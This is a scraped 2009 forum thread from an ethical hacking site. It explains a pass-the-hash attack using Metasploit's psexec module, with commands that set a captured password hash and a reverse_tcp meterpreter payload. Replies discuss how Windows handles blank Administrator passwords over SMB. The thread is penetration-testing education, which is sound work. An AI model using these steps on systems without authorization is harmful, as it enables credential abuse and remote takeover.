Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
Maltego 3: First Look
August 2010 Free Giveaway Sponsor - CareerAcademy.com
July 2010 Free Giveaway Winner - SANS vLive
Review: SANS FOR610 Reverse Engineering Malware
Book Review: The Art of Assembly Language 2nd Ed
June 2010 Free Giveaway Winner - Black Hat USA
Interview: Lenny Zeltser of Savvis and SANS Institute
The Guide to Neuroscience for Social Engineers
May 2010 Free Giveaway Winners - eLearnSecurity
April 2010 Free Giveaway Winners - CBT Nuggets
Tutorial: SEH Based Exploits and the Development Process
Review: eLearnSecurity’s Penetration Testing Pro (PTP)
March 2010 Free Giveaway Winners - Offensive Security
Miracle on Thirty-Hack Street - Answers and Winners
Review: CEH iClass by EC-Council
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 56 guests and 5 members online
EH-Net News Feeds
Latest Additions
Book Recommendations
You are here:
Home
Forum
Resources
Tutorials
Pass-the-hash attack with Metasploit
EH-Net
September 02, 2010, 11:37:23 AM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
:
Advertise on EH-Net!!
- Reasonable Rates, Highly Targeted Audience.
Home
Help
Calendar
Login
Register
EH-Net
>
Resources
>
Tutorials
(Moderator:
don
) >
Pass-the-hash attack with Metasploit
Pages: [
1
]
Go Down
« previous
next »
Print
Author
Topic: Pass-the-hash attack with Metasploit (Read 6720 times)
0 Members and 1 Guest are viewing this topic.
Orhan
Newbie
Offline
Posts: 14
If at first you don't succeed, cheat!
Pass-the-hash attack with Metasploit
«
on:
May 20, 2009, 04:05:37 PM »
I recently attended the very excellent SANS 560 course and there was a section on the "pass-the-hash" attack. The course covers both the pass-the-hash toolkit by Core Security and the patch for samba by JoMo-kun of FooFus. Both of which work very well. But there is an easier way!
If you're pen testing, you must be using Metasploit and there is a fantastic (and somewhat overlooked) exploit called:
windows/smb/psexec
This module allows you to run a command on a remote machine. A feature of this module is that it gives you the option to add a password or a hash value to the credentials being used. So if you have just exploited a machine and gained a hash dump, simply set your username (defaults is administrator) and put your password hash straight into the SMBPass field:
set SMBPass {insert in the LANMAN & NT hash only}
You can setup your payloads in the normal way:
set PAYLOAD windows/meterpreter/reverse_tcp
Setup your other variables and go exploit!
The art of password cracking without password cracking.....
Logged
GPEN OSCP OSWP CCSE CCSA CHFI..etc
Bronze Swimming certificate..
Ketchup
Hero Member
Offline
Posts: 966
Re: Pass-the-hash attack with Metasploit
«
Reply #1 on:
May 20, 2009, 10:49:20 PM »
I am always surprised how many workstations are running with the local Administrator account having a blank password.
Logged
~~~~~~~~~~~~~~
Ketchup
timmedin
Sr. Member
Offline
Posts: 454
Re: Pass-the-hash attack with Metasploit
«
Reply #2 on:
May 20, 2009, 10:52:49 PM »
Windows does not allow remote Admin access if the local admin (or similar priveledged account) has a blank password.
"Beginning with Windows XP Home edition and later non-server editions of Windows, Windows implements the "ForceGuest" feature when the local Administrator account has a blank password. When a remote user authenticates to Windows XP (and later) as Administrator with a blank password (e.g. by mapping to one of the administrative shares), Windows will assign to their session a Guest access token, not an Administrator access token thereby preventing access to the entire C drive"
http://en.wikipedia.org/wiki/Administrative_share
I blogged about this recently too.
http://blog.securitywhole.com/2009/05/16/make-windows-more-secure-and-use-a-blank-password.aspx
«
Last Edit: May 20, 2009, 10:54:37 PM by timmedin
»
Logged
twitter.com/timmedin |
http://blog.securitywhole.com
Ketchup
Hero Member
Offline
Posts: 966
Re: Pass-the-hash attack with Metasploit
«
Reply #3 on:
May 21, 2009, 12:42:17 AM »
I wasn't sure if that applied to psexec, but now that I think about it, psexec probably uploads an exe to one of the admin shares.
I am wondering if the story is different in a Domain environment though. The reason I wonder is because I recently encountered yet another XP box that had a blank Administrator password. I was able to psexec a meterpreter shell on this box, using the local Administrator account with a blank password. I can't imagine anyone in the right mind would change group policy settings to disable this feature purposely. I can't imagine the the workstation user changed it either. I don't remember, but I will go back and check the GPO dumps from that job. I am going to do some testing on a couple of domain PCs as well.
Logged
~~~~~~~~~~~~~~
Ketchup
timmedin
Sr. Member
Offline
Posts: 454
Re: Pass-the-hash attack with Metasploit
«
Reply #4 on:
May 22, 2009, 08:58:42 AM »
Quote from: Ketchup on May 21, 2009, 12:42:17 AM
I wasn't sure if that applied to psexec, but now that I think about it, psexec probably uploads an exe to one of the admin shares.
I am wondering if the story is different in a Domain environment though. The reason I wonder is because I recently encountered yet another XP box that had a blank Administrator password. I was able to psexec a meterpreter shell on this box, using the local Administrator account with a blank password. I can't imagine anyone in the right mind would change group policy settings to disable this feature purposely. I can't imagine the the workstation user changed it either. I don't remember, but I will go back and check the GPO dumps from that job. I am going to do some testing on a couple of domain PCs as well.
i guess I stand corrected then. My understanding was RPC would not allow you to connect since the token would be restricted due to the blank password.
Logged
twitter.com/timmedin |
http://blog.securitywhole.com
Ketchup
Hero Member
Offline
Posts: 966
Re: Pass-the-hash attack with Metasploit
«
Reply #5 on:
May 22, 2009, 09:58:43 AM »
I think that you are correct actually, timmedin. I haven't been able to reproduce this on my domain. Still, I think that the workstation I hacked last week had some weird GPO settings on it, although I don't have that data. I know I connected with a blank Administrator password, even Nessus identified it. I know it was XP Pro, SP2. Weird, I wish I still had access to that machine.
Logged
~~~~~~~~~~~~~~
Ketchup
timmedin
Sr. Member
Offline
Posts: 454
Re: Pass-the-hash attack with Metasploit
«
Reply #6 on:
May 22, 2009, 10:20:39 AM »
Quote from: Ketchup on May 22, 2009, 09:58:43 AM
I think that you are correct actually, timmedin. I haven't been able to reproduce this on my domain. Still, I think that the workstation I hacked last week had some weird GPO settings on it, although I don't have that data. I know I connected with a blank Administrator password, even Nessus identified it. I know it was XP Pro, SP2. Weird, I wish I still had access to that machine.
I just tested it again and I had the same result. Blank password is more secure than no password.
Logged
twitter.com/timmedin |
http://blog.securitywhole.com
Pages: [
1
]
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Special Events
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009s
=> News Items and General Discussion About EH-Net
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> General Certification
===> Networking
===> OS
===> Security
=> Compliance, Regulations & Standards
=> Cyber Warfare
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
=====> CEH - Official Course Modules v4
=====> CEH - Official Course Modules v5
=====> CEH - Official Course Modules v6
===> CPTS - Certified Pen Testing Specialist
=====> CPTS - Official Course Modules v5
===> CPTE - Certified Pen Testing Expert
=====> CPTE - Official Course Modules v1
===> ECSA - EC-Council Certified Security Analyst
=====> ECSA - Official Course Modules v1.2
=====> ECSA / LPT - Official Course Modules v3
===> OSCP - Offensive Security Certified Professional
===> GPEN - GIAC Certified Penetration Tester
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
=====> CHFI - Official Course Modules v2
===> EnCE - EnCase® Certified Examiner
===> GCFA - GIAC Certified Forensics Analyst
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Hardware
=> Malware
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Gates
=> Haddix
=> Heffner
=> Hoffman
=> Linn
=> RichM
=> Murray
=> J. Peltier
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
===> Feb 2009 - Brady Bunch Boondoggle
===> July 2009 - Prison Break
===> October 2009 - SSHliders
===> December 2009 - Miracle on Thirty-Hack Street
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
===> Tutorial Requests
Loading...
Support EH-Net
Help Support EH-Net with Our Amazon Store
Try CBT Nuggets Free!
Recent Forum Topics
General Certification
: A+ and Net+
(6) by
ziggy_567
Network Pen Testing
: How to hack FTP?
(8) by
Dave 1
Links to cool sites.
: HaXx.Me - Wargames by InterN0T
(4) by
pizza1337
Tutorials
: Having trouble understanding W3AF Pen-Test Results
(1) by
andres.riancho
Web Applications
: MySQL HTTP Header injection help
(7) by
eyenit0
Security
: Advice for next certifications wanted
(14) by
don
Network Pen Testing
: CREST Information
(1) by
charliemong
Tutorials
: How to....
(6) by
Melsy
General Certification
: will pay to be taught how to hack wireless credit card networks(plz dont ban me)
(6) by
don
Tools
: hacking tools: pc keylogger, mac keylogger, mobile keylogger
(3) by
Melsy
Security
: Advise wanted For next step
(5) by
awesec
Other
: Screencasting software
(10) by
Adward
/root
: [Article]-Maltego 3: First Look
(2) by
infowarrior0
CHFI - Computer Hacking Forensic Investigator
: CHFI EXAM
(12) by
dynamik
Other
: Starting Hacker / Computer Group
(5) by
pizza1337
Programming
: Ruby on Rails 3.0 Released
(1) by
hayabusa
OSCP - Offensive Security Certified Professional
: OSCP exam in 1 week - Advice?
(69) by
hayabusa
Wireless
: Does Mobile Security Deserve New Board?
(1) by
Ketchup
Calendar Of Events
: THOTCON 0x2
(0) by
don
Tools
: Wireshark 1.4.0, 1.2.11, and 1.0.16 Released
(0) by
don
Forensics
: Honeynet Project Challenge 5 - Log Mysteries
(0) by
don
Physical Security
: Learning lock picking
(8) by
chrisj
Security
: Passed Security+
(9) by
awesec
News Items and General Discussion About EH-Net
: [Article]-August 2010 Free Giveaway Sponsor - CareerAcademy.com
(5) by
don
Tutorials
: Post your Cheat Sheets
(7) by
pizza1337
Security
: Seven Safe?
(5) by
charliemong
Calendar Of Events
: BugCon 2010
(0) by
don
Links to cool sites.
: (IN)SECURE Magazine Issue 27 Sept 2010 Released
(0) by
don
CEH - Certified Ethical Hacker
: hi all
(12) by
H1t M0nk3y
Tools
: AV-Tracker
(1) by
bery
Tools
: Scanning techniques
(11) by
bery
Calendar Of Events
: BSidesKC 2010
(0) by
don
Calendar Of Events
: Cyber-RAID 0
(0) by
don
Tools
: Why I (Hate||Love) tools
(11) by
Jhaddix
Security
: Learn Security Online
(8) by
BlueEyedSamurai
Incident Response
: My "action" today
(1) by
zeroflaw
Career Central
: How to get the experience!?
(6) by
don
Security
: Advanced Security Certification by CompTIA
(1) by
dynamik
OSCP - Offensive Security Certified Professional
: OSCP - Progress
(18) by
H1t M0nk3y
Web Applications
: HTTP header: PUT, DELETE, etc
(17) by
ethicalhack3r
Vote For EH-Net
progenic.com
technorati fave
Privacy Notice
for TDCC & All Properties
© 2010 The Ethical Hacker Network
Joomla!
is Free Software released under the GNU/GPL License.